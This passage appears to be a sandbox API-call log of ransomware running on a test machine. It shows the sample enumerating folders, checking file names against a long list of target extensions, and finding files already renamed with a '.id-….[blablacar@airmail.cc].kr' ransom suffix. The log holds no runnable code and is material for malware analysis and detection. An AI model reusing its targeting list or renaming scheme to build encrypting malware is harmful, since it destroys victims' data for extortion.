lpString2="cc].kr") returned -1 [0088.463] lstrlenW (lpString=".pict") returned 5 [0088.463] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0088.463] lstrlenW (lpString=".pl") returned 3 [0088.463] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0088.463] lstrlenW (lpString=".pls") returned 4 [0088.463] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0088.463] lstrlenW (lpString=".pm") returned 3 [0088.463] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0088.463] lstrlenW (lpString=".png") returned 4 [0088.463] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0088.463] lstrlenW (lpString=".pnm") returned 4 [0088.463] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0088.463] lstrlenW (lpString=".pot") returned 4 [0088.463] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0088.463] lstrlenW (lpString=".potm") returned 5 [0088.463] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0088.463] lstrlenW (lpString=".potx") returned 5 [0088.464] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0088.464] lstrlenW (lpString=".ppa") returned 4 [0088.464] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0088.464] lstrlenW (lpString=".ppam") returned 5 [0088.464] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0088.464] lstrlenW (lpString=".ppm") returned 4 [0088.464] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0088.464] lstrlenW (lpString=".pps") returned 4 [0088.464] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0088.464] lstrlenW (lpString=".ppsm") returned 5 [0088.464] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0088.464] lstrlenW (lpString=".ppt") returned 4 [0088.464] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0088.464] lstrlenW (lpString=".pptm") returned 5 [0088.464] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0088.464] lstrlenW (lpString=".pptx") returned 5 [0088.464] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0088.464] lstrlenW (lpString=".prn") returned 4 [0088.464] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0088.464] lstrlenW (lpString=".ps") returned 3 [0088.464] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0088.464] lstrlenW (lpString=".psb") returned 4 [0088.464] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0088.464] lstrlenW (lpString=".psd") returned 4 [0088.464] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0088.464] lstrlenW (lpString=".pst") returned 4 [0088.465] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0088.465] lstrlenW (lpString=".ptx") returned 4 [0088.465] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0088.465] lstrlenW (lpString=".pub") returned 4 [0088.465] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0088.465] lstrlenW (lpString=".pwm") returned 4 [0088.465] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0088.465] lstrlenW (lpString=".pxr") returned 4 [0088.465] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0088.465] lstrlenW (lpString=".py") returned 3 [0088.465] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0088.465] lstrlenW (lpString=".qt") returned 3 [0088.465] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0088.465] lstrlenW (lpString=".r3d") returned 4 [0088.465] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0088.465] lstrlenW (lpString=".raf") returned 4 [0088.465] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0088.465] lstrlenW (lpString=".rar") returned 4 [0088.465] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0088.465] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7bd4c0f, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7bd4c0f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7bd4c0f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0088.465] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.466] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.466] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0088.466] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0088.466] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0088.466] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0088.466] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client") returned 28 [0088.466] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc7cdfd02, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260310 [0088.467] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc7cdfd02, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.467] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc77a8a46, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc77a8a46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77cecb7, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARAME~1.KR")) returned 1 [0088.467] lstrlenW (lpString="Parameterinfo.xml.id-B4197730.[blablacar@airmail.cc].kr") returned 55 [0088.467] lstrlenW (lpString=".1cd") returned 4 [0088.467] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0088.467] lstrlenW (lpString=".3ds") returned 4 [0088.467] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0088.467] lstrlenW (lpString=".3fr") returned 4 [0088.467] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0088.467] lstrlenW (lpString=".3g2") returned 4 [0088.467] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0088.467] lstrlenW (lpString=".3gp") returned 4 [0088.467] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0088.467] lstrlenW (lpString=".7z") returned 3 [0088.467] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0088.467] lstrlenW (lpString=".accda") returned 6 [0088.467] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0088.467] lstrlenW (lpString=".accdb") returned 6 [0088.467] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0088.467] lstrlenW (lpString=".accdc") returned 6 [0088.467] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0088.467] lstrlenW (lpString=".accde") returned 6 [0088.468] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0088.468] lstrlenW (lpString=".accdt") returned 6 [0088.468] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0088.468] lstrlenW (lpString=".accdw") returned 6 [0088.468] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0088.468] lstrlenW (lpString=".adb") returned 4 [0088.468] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0088.468] lstrlenW (lpString=".adp") returned 4 [0088.468] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0088.468] lstrlenW (lpString=".ai") returned 3 [0088.468] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0088.468] lstrlenW (lpString=".ai3") returned 4 [0088.468] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0088.468] lstrlenW (lpString=".ai4") returned 4 [0088.468] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0088.468] lstrlenW (lpString=".ai5") returned 4 [0088.468] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0088.468] lstrlenW (lpString=".ai6") returned 4 [0088.468] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0088.468] lstrlenW (lpString=".ai7") returned 4 [0088.468] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0088.468] lstrlenW (lpString=".ai8") returned 4 [0088.468] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0088.468] lstrlenW (lpString=".anim") returned 5 [0088.468] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0088.468] lstrlenW (lpString=".arw") returned 4 [0088.469] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0088.469] lstrlenW (lpString=".as") returned 3 [0088.469] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0088.469] lstrlenW (lpString=".asa") returned 4 [0088.469] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0088.469] lstrlenW (lpString=".asc") returned 4 [0088.469] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0088.469] lstrlenW (lpString=".ascx") returned 5 [0088.469] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0088.469] lstrlenW (lpString=".asm") returned 4 [0088.469] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0088.469] lstrlenW (lpString=".asmx") returned 5 [0088.469] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0088.469] lstrlenW (lpString=".asp") returned 4 [0088.469] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0088.469] lstrlenW (lpString=".aspx") returned 5 [0088.469] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0088.469] lstrlenW (lpString=".asr") returned 4 [0088.469] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0088.469] lstrlenW (lpString=".asx") returned 4 [0088.469] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0088.469] lstrlenW (lpString=".avi") returned 4 [0088.469] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0088.469] lstrlenW (lpString=".avs") returned 4 [0088.469] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0088.470] lstrlenW (lpString=".backup") returned 7 [0088.470] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0088.470] lstrlenW (lpString=".bak") returned 4 [0088.470] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0088.470] lstrlenW (lpString=".bay") returned 4 [0088.470] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0088.470] lstrlenW (lpString=".bd") returned 3 [0088.470] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0088.470] lstrlenW (lpString=".bin") returned 4 [0088.470] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0088.470] lstrlenW (lpString=".bmp") returned 4 [0088.470] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0088.470] lstrlenW (lpString=".bz2") returned 4 [0088.470] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0088.470] lstrlenW (lpString=".c") returned 2 [0088.470] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0088.470] lstrlenW (lpString=".cdr") returned 4 [0088.470] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0088.470] lstrlenW (lpString=".cer") returned 4 [0088.470] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0088.470] lstrlenW (lpString=".cf") returned 3 [0088.470] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0088.470] lstrlenW (lpString=".cfc") returned 4 [0088.470] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0088.470] lstrlenW (lpString=".cfm") returned 4 [0088.470] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0088.471] lstrlenW (lpString=".cfml") returned 5 [0088.471] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0088.471] lstrlenW (lpString=".cfu") returned 4 [0088.471] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0088.471] lstrlenW (lpString=".chm") returned 4 [0088.471] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0088.471] lstrlenW (lpString=".cin") returned 4 [0088.471] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0088.471] lstrlenW (lpString=".class") returned 6 [0088.471] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0088.471] lstrlenW (lpString=".clx") returned 4 [0088.471] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0088.471] lstrlenW (lpString=".config") returned 7 [0088.471] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0088.471] lstrlenW (lpString=".cpp") returned 4 [0088.471] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0088.471] lstrlenW (lpString=".cr2") returned 4 [0088.471] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0088.471] lstrlenW (lpString=".crt") returned 4 [0088.471] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0088.471] lstrlenW (lpString=".crw") returned 4 [0088.471] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0088.471] lstrlenW (lpString=".cs") returned 3 [0088.471] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0088.471] lstrlenW (lpString=".css") returned 4 [0088.471] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0088.471] lstrlenW (lpString=".csv") returned 4 [0088.472] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0088.472] lstrlenW (lpString=".cub") returned 4 [0088.472] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0088.472] lstrlenW (lpString=".dae") returned 4 [0088.472] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0088.472] lstrlenW (lpString=".dat") returned 4 [0088.472] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0088.472] lstrlenW (lpString=".db") returned 3 [0088.472] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0088.472] lstrlenW (lpString=".dbf") returned 4 [0088.472] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0088.472] lstrlenW (lpString=".dbx") returned 4 [0088.472] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0088.472] lstrlenW (lpString=".dc3") returned 4 [0088.472] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0088.472] lstrlenW (lpString=".dcm") returned 4 [0088.472] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0088.472] lstrlenW (lpString=".dcr") returned 4 [0088.472] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0088.472] lstrlenW (lpString=".der") returned 4 [0088.472] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0088.472] lstrlenW (lpString=".dib") returned 4 [0088.472] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0088.472] lstrlenW (lpString=".dic") returned 4 [0088.472] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0088.472] lstrlenW (lpString=".dif") returned 4 [0088.473] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0088.473] lstrlenW (lpString=".divx") returned 5 [0088.473] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0088.473] lstrlenW (lpString=".djvu") returned 5 [0088.473] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0088.473] lstrlenW (lpString=".dng") returned 4 [0088.473] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0088.473] lstrlenW (lpString=".doc") returned 4 [0088.473] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0088.473] lstrlenW (lpString=".docm") returned 5 [0088.473] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0088.473] lstrlenW (lpString=".docx") returned 5 [0088.473] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0088.473] lstrlenW (lpString=".dot") returned 4 [0088.473] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0088.473] lstrlenW (lpString=".dotm") returned 5 [0088.473] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0088.473] lstrlenW (lpString=".dotx") returned 5 [0088.473] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0088.473] lstrlenW (lpString=".dpx") returned 4 [0088.473] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0088.473] lstrlenW (lpString=".dqy") returned 4 [0088.473] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0088.473] lstrlenW (lpString=".dsn") returned 4 [0088.473] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0088.473] lstrlenW (lpString=".dt") returned 3 [0088.473] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0088.474] lstrlenW (lpString=".dtd") returned 4 [0088.474] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0088.474] lstrlenW (lpString=".dwg") returned 4 [0088.474] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0088.474] lstrlenW (lpString=".dwt") returned 4 [0088.474] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0088.474] lstrlenW (lpString=".dx") returned 3 [0088.474] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0088.474] lstrlenW (lpString=".dxf") returned 4 [0088.474] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0088.474] lstrlenW (lpString=".edml") returned 5 [0088.474] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0088.474] lstrlenW (lpString=".efd") returned 4 [0088.474] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0088.474] lstrlenW (lpString=".elf") returned 4 [0088.474] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0088.474] lstrlenW (lpString=".emf") returned 4 [0088.474] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0088.474] lstrlenW (lpString=".emz") returned 4 [0088.474] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0088.474] lstrlenW (lpString=".epf") returned 4 [0088.474] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0088.474] lstrlenW (lpString=".eps") returned 4 [0088.474] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0088.474] lstrlenW (lpString=".epsf") returned 5 [0088.475] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0088.475] lstrlenW (lpString=".epsp") returned 5 [0088.475] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0088.475] lstrlenW (lpString=".erf") returned 4 [0088.475] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0088.475] lstrlenW (lpString=".exr") returned 4 [0088.475] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0088.475] lstrlenW (lpString=".f4v") returned 4 [0088.475] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0088.475] lstrlenW (lpString=".fido") returned 5 [0088.475] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0088.475] lstrlenW (lpString=".flm") returned 4 [0088.651] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0088.651] lstrlenW (lpString=".flv") returned 4 [0088.651] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0088.651] lstrlenW (lpString=".frm") returned 4 [0088.651] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0088.651] lstrlenW (lpString=".fxg") returned 4 [0088.651] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0088.651] lstrlenW (lpString=".geo") returned 4 [0088.651] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0088.651] lstrlenW (lpString=".gif") returned 4 [0088.651] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0088.651] lstrlenW (lpString=".grs") returned 4 [0088.651] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0088.651] lstrlenW (lpString=".gz") returned 3 [0088.651] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0088.652] lstrlenW (lpString=".h") returned 2 [0088.652] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0088.652] lstrlenW (lpString=".hdr") returned 4 [0088.652] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0088.652] lstrlenW (lpString=".hpp") returned 4 [0088.652] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0088.652] lstrlenW (lpString=".hta") returned 4 [0088.652] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0088.652] lstrlenW (lpString=".htc") returned 4 [0088.652] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0088.652] lstrlenW (lpString=".htm") returned 4 [0088.652] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0088.652] lstrlenW (lpString=".html") returned 5 [0088.652] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0088.652] lstrlenW (lpString=".icb") returned 4 [0088.652] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0088.652] lstrlenW (lpString=".ics") returned 4 [0088.652] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0088.652] lstrlenW (lpString=".iff") returned 4 [0088.652] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0088.652] lstrlenW (lpString=".inc") returned 4 [0088.652] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0088.652] lstrlenW (lpString=".indd") returned 5 [0088.652] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0088.652] lstrlenW (lpString=".ini") returned 4 [0088.653] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0088.653] lstrlenW (lpString=".iqy") returned 4 [0088.653] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0088.653] lstrlenW (lpString=".j2c") returned 4 [0088.653] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0088.653] lstrlenW (lpString=".j2k") returned 4 [0088.653] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0088.653] lstrlenW (lpString=".java") returned 5 [0088.653] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0088.653] lstrlenW (lpString=".jp2") returned 4 [0088.653] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0088.653] lstrlenW (lpString=".jpc") returned 4 [0088.653] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0088.653] lstrlenW (lpString=".jpe") returned 4 [0088.653] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0088.653] lstrlenW (lpString=".jpeg") returned 5 [0088.653] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0088.653] lstrlenW (lpString=".jpf") returned 4 [0088.653] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0088.653] lstrlenW (lpString=".jpg") returned 4 [0088.653] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0088.653] lstrlenW (lpString=".jpx") returned 4 [0088.653] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0088.653] lstrlenW (lpString=".js") returned 3 [0088.653] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0088.654] lstrlenW (lpString=".jsf") returned 4 [0088.654] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0088.654] lstrlenW (lpString=".json") returned 5 [0088.654] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0088.654] lstrlenW (lpString=".jsp") returned 4 [0088.654] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0088.654] lstrlenW (lpString=".kdc") returned 4 [0088.654] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0088.654] lstrlenW (lpString=".kmz") returned 4 [0088.654] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0088.654] lstrlenW (lpString=".kwm") returned 4 [0088.654] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0088.654] lstrlenW (lpString=".lasso") returned 6 [0088.654] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0088.654] lstrlenW (lpString=".lbi") returned 4 [0088.654] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0088.654] lstrlenW (lpString=".lgf") returned 4 [0088.654] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0088.654] lstrlenW (lpString=".lgp") returned 4 [0088.654] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0088.654] lstrlenW (lpString=".log") returned 4 [0088.654] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0088.654] lstrlenW (lpString=".m1v") returned 4 [0088.654] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0088.654] lstrlenW (lpString=".m4a") returned 4 [0088.654] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0088.655] lstrlenW (lpString=".m4v") returned 4 [0088.655] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0088.655] lstrlenW (lpString=".max") returned 4 [0088.655] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0088.655] lstrlenW (lpString=".md") returned 3 [0088.655] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0088.655] lstrlenW (lpString=".mda") returned 4 [0088.655] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0088.655] lstrlenW (lpString=".mdb") returned 4 [0088.655] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0088.655] lstrlenW (lpString=".mde") returned 4 [0088.655] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0088.655] lstrlenW (lpString=".mdf") returned 4 [0088.655] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0088.655] lstrlenW (lpString=".mdw") returned 4 [0088.655] lstrcmpiW (lpString1=".mdw", 